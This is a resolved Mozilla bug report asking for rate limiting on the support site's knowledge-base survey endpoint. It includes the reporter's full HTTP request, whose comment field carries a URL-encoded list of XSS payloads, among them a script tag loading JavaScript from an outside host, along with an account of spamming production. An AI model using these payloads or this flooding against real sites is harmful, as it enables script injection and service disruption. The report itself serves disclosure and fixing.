784346 - Add rate limiting to number of KB article surveys per day

Status: RESOLVED FIXED

(support.mozilla.org :: General, defect, P4)

Description

[Sebi]

User Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.79 Safari/537.1

Steps to reproduce:

I was able to repeat the submission to http://support.mozilla.org/en-US/kb/unhelpful-survey


I can spam by sending huge ammounts of messages during a short time interval, disturbing support

HTTP request:

POST /en-US/kb/unhelpful-survey HTTP/1.1
Host: support.mozilla.org
Connection: keep-alive
Content-Length: 989
Origin: http://support.mozilla.org
X-Requested-With: XMLHttpRequest
X-CSRFToken: null
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.79 Safari/537.1
Content-Type: application/x-www-form-urlencoded
Accept: application/json, text/javascript, */*; q=0.01
Referer: http://support.mozilla.org/en-US/kb/websites-dont-load-troubleshoot-and-fix-errors?redirectlocale=en-US&redirectslug=Error+loading+web+sites
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: WT_FPC=id=10.5.199.241-945077056.30244189:lv=1345530055716:ss=1345530055716; last_search=test; SUMO_ANONID=3a54670a6c7211326d6f2de47b3bd7ba; dwf_surveygizmo=False; WT_FPC=id=10.5.199.241-945077056.30244189:lv=1345523367276:ss=1345530055716; show-editing-tools=1
DNT: 1

vote_id=5405978&unhelpful-reason=other&comment=1)REDIRECT%0D%0A%3Cmeta+HTTP-EQUIV%3D%22REFRESH%22+content%3D%220%3B+url%3Dhttp%3A%2F%2Fwww.testalways.com%22%3E%0D%0A%0D%0A2)IFRAME%0D%0A%3Ciframe+src%3D%22http%3A%2F%2Fwww.testalways.com%2F%22%3E%3C%2Fiframe%3E%0D%0A%0D%0A3)IMAGE+tag%0D%0A%3Cimg+src%3D%22http%3A%2F%2Fwww.testalways.com%2Futest%2Fhack.gif%22+%2F%3E%0D%0A%3Cimg+src%3D%22http%3A%2F%2Fbit.ly%2FJ9EeDQ%22+%2F%3E%0D%0A%0D%0A4)%0D%0A'%3Balert(String.fromCharCode(88%2C83%2C83))%2F%2F%5C'%3Balert(String.fromCharCode(88%2C83%2C83))%2F%2F%22%3Balert(String.fromCharCode(88%2C83%2C83))%2F%2F%5C%22%3Balert(String.fromCharCode(88%2C83%2C83))%2F%2F--%3E%3C%2FSCRIPT%3E%22%3E'%3E%3CSCRIPT%3Ealert(String.fromCharCode(88%2C83%2C83))%3C%2FSCRIPT%3E%0D%0A%0D%0A5)%0D%0A''%3B!--%22%3CXSS%3E%3D%26%7B()%7D%0D%0A%0D%0A6)%0D%0A%3CSCRIPT+SRC%3Dhttp%3A%2F%2Fha.ckers.org%2Fxss.js%3E%3C%2FSCRIPT%3E%0D%0A%0D%0A7)%0D%0A%3CIMG+SRC%3D%22javascript%3Aalert('XSS')%3B%22%3E%0D%0A%0D%0A&button=Submit


Actual results:

I was able to sent ~ 4000 messages in ~5 min
and each time I got a positive replay:

{"message": "Thanks for making us better!"}


Expected results:

Spam protection should exist, otherwise the spam could lead to various denial of services

Comment 1

[Ricky Rosario [:rrosario, :r1cky]]

We should probably just limit one survey per vote.

We are already rate limiting votes.

Comment 2

[James Socol [:jsocol, :james]]

Sebi, when testing something like this, please target our staging server, not production, as it distorts production data.

Ricky, seems like just ratelimiting this by itself would be easier, no?

sarentz - I believe this is [wsec-low] at the highest. A non-rate-limited endpoint doesn't risk exposing data or compromising other users.


Whatever we do, can we get this bug into an upcoming sprint?

Comment 3

[Ricky Rosario [:rrosario, :r1cky]]

I think it should be a 1pter to enforce one survey per unhelpful vote or add a separate rate-limit.

Comment 4

[Kadir Topal [:atopal]]

Yeah, let's limit it to one survey per unhelpful vote.

Comment 5

[Ricky Rosario [:rrosario, :r1cky]]

This one is in a pull request already:
https://github.com/mozilla/kitsune/pull/1302

Comment 6

[Ricky Rosario [:rrosario, :r1cky]]

Landed on master:
https://github.com/mozilla/kitsune/commit/5377abda5a000aeaacc93d87cad3122bb1506139

Comment 7

[Ricky Rosario [:rrosario, :r1cky]]

Deployed to prod.

Comment 8

[Will Kahn-Greene [:willkg] ET needinfo? me]

These bugs are all resolved, so I'm removing the security flag from them.